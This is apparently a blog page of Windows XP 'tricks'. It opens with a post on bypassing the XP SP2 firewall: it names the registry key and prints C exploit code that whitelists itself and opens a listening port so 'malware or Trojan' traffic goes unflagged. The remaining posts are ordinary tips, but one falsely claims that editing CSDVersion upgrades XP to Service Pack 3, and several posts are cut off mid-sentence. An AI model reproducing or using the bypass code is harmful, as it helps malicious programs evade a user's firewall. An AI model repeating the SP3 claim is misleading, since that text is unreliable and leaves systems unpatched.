Showing posts with label windows xp tricks. Show all posts
Showing posts with label windows xp tricks. Show all posts

How To Bypass Windows XP Firewall

Friends,here is a technique using which we can bypass windows-xp service pack-2 firewall.

This techniques is nothing but the vulnerability found in windows-xp sp2 firewall.

This is explained here in detail with exploit code.

Windows XP Firewall Bypassing - Microsoft Windows XP SP2 comes bundled with a Firewall. Direct access to Firewall's registry keys allow local attackers to bypass the Firewall blocking list and allow malicious program to connect the network.

Vulnerable Systems :-

Microsoft Windows XP SP2

Windows XP SP2 Firewall has list of allowed program in registry which are not properly protected from modification by a malicious local attacker.

If an attacker adds a new key to the registry address of HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ SharedAccess\Parameters\FirewallPolicy\StandardProfile\ AuthorizedApplications\List, the attacker can enable his malware or Trojan to connect to the Internet without the Firewall triggering a warning.

Proof of Concept :-

Launch the regedit.exe program and access the keys found under the following path:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ SharedAccess\Parameters\FirewallPolicy\StandardProfile\ AuthorizedApplications\List

Add an entry key such as this one:

Name: C:\chat.exe

Value: C:\chat.exe:*:Enabled:chat
Exploit :

#include
#include
#include
#include
#include "Shlwapi.h" int main( int argc, char *argv [] )
{
char buffer[1024];
char filename[1024];
HKEY hKey;
int i;
GetModuleFileName(NULL, filename, 1024);
strcpy(buffer, filename);
strcat(buffer, ":*:Enabled:");
strcat(buffer, "bugg");
RegOpenKeyEx(
HKEY_LOCAL_MACHINE,
"SYSTEM\\CurrentControlSet\\Services" "\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile" "\\AuthorizedApplications\\List",
0,
KEY_ALL_ACCESS,
&hKey);
RegSetValueEx(hKey, filename, 0, REG_SZ, buffer, strlen(buffer));

int temp, sockfd, new_fd, fd_size;
struct sockaddr_in remote_addr;
fprintf(stdout, "Simple server example with Anti SP2 firewall trick \n");
fprintf(stdout, " This is not trojan \n");
fprintf(stdout, " Opened port is :2001 \n");
fprintf(stdout, "author:Mark Kica student of Technical University Kosice\n");
fprintf(stdout, "Dedicated to Katka H. from Levoca \n");
sleep(3);
if ((sockfd = ezsocket(NULL, NULL, 2001, SERVER)) == -1)
return 0;

for (; ; )
{
RegDeleteValue(hKey, filename);
fd_size = sizeof(struct sockaddr_in);
if ((new_fd = accept(sockfd, (struct sockaddr *)&remote_addr, &fd_size)) == -1)
{
perror("accept");
continue;
}
temp = send(new_fd, "Hello World\r\n", strlen("Hello World\r\n"), 0);
fprintf(stdout, "Sended: Hello World\r\n");
temp = recv(new_fd, buffer, 1024, 0);
buffer[temp] = '\0';
fprintf(stdout, "Recieved: %s\r\n", buffer);
ezclose_socket(new_fd);
RegSetValueEx(hKey, filename, 0, REG_SZ, buffer, strlen(buffer));
if (!strcmp(buffer, "quit"))
break;
}
ezsocket_exit();
return 0;
}
That's it.

One Click Shutdown N Reboot Shortcuts

Guys,First off all , create a shortcut on your desktop by right-clicking on the desktop , choosing New , and then choosing Shortcut . The Create Shortcut Wizard appears . In the box asking for the location of the shortcut , type shutdown . After you create the shortcut , double-clicking on it will shut down your PC .

But you can do much more with a shutdown shortcut than merely shut down your PC . You can add any combination of several switches to do extra duty , like this :

shutdown -r -t 01 -c "Rebooting your PC"
Double-clicking on that shortcut will reboot your PC after a one-second delay and display the message "Rebooting your PC ." The shutdown command includes a variety of switches you can use to customize it . Table 1-3 lists all of them and describes their use .

I use this technique to create two shutdown shortcuts on my desktop—one for turning off my PC , and one for rebooting . Here are the ones I use :

shutdown -s -t 03 -c "Bye Bye m8 !"
shutdown -r -t 03 -c "Ill be back m8 ; ) !"

Switch
What it does

-s
Shuts down the PC .

-l
Logs off the current user .

-t nn
Indicates the duration of delay , in seconds , before performing the action .

-c "messagetext"
Displays a message in the

How To Boot Windows XP So Fast

Friends ,follow some steps to do so :
Open notepad .exe , type "del c :|windows|prefetch|ntosboot-* .* /q" ( without the quotes ) & save as "ntosboot .bat" in c :|
From the Start menu , select "Run . . ." & type "gpedit .msc" .
Double click "Windows Settings" under "Computer Configuration" and double click again on "Shutdown" in the right window .
In the new window , click "add" , "Browse" , locate your "ntosboot .bat" file & click "Open" .
Click "OK" , "Apply" & "OK" once again to exit .
From the Start menu , select "Run . . ." & type "devmgmt .msc" .
Double click on "IDE ATA/ATAPI controllers"
Right click on

Resume Your Work After Turn Off The PC

Now I am going to tell you new windows trick.
Using this trick,you may left your work anytime,when you will restart your computer your left work will resume.
For implementing this PC technique on your PC do the Following actions :
Just click on the start menu.
Select Turn Off option.
As the Turn Off menu comes up press ‘Shift’ and ‘Stand By’ changes to ‘Hibernate’
Click Hibernate (Shift Kept Pressed)
Now xp will save the work and shut down.
Now, whenever you on your pc it will application it again.
No launching of windows will take position and you will be started again to your function as if you had just moved your watch off and now on again !
that's it.

How To Get Windows XP key from the CD itself

Guys lets move to a new  trick to get Windows XP CD from itself.it 's key A simple trick. this stuff is crucial for us to know because it may happen that you lose the key to this CD and can give you a big hassle and a lot of you do not know this trick. In fact, the key is already stored in the CD itself.

follow some guidelines:

Check out the first CD, then right click on the CD-Explore.

Now, just find another file named i386.
 now finding UNNATED.TXT file & open using Noptepad.
scroll it to the last line . The product key in front of you .

How To Upgrade Window XP Sp2 to Sp3 Without Any Installation

this trick is make fool the system that your windows xp has service pack 3.
ok to do so,follow these some steps:
1-press windows key+R.
2-type in the box"regedit,hit the enter.
3-open HKEY_LOCAL_MACHINE\System\ControlSet001\Control\Windows
4-Change the csdversion value from 200 to 300 in left panel.
5-open HKEY_LOCAL_MACHINE\System\ControlSet002\Control\Windows
6- Again Change csdversion value from 200 to 300 in left side.
7-restart your computer.
finally now you have windows xp service pack3.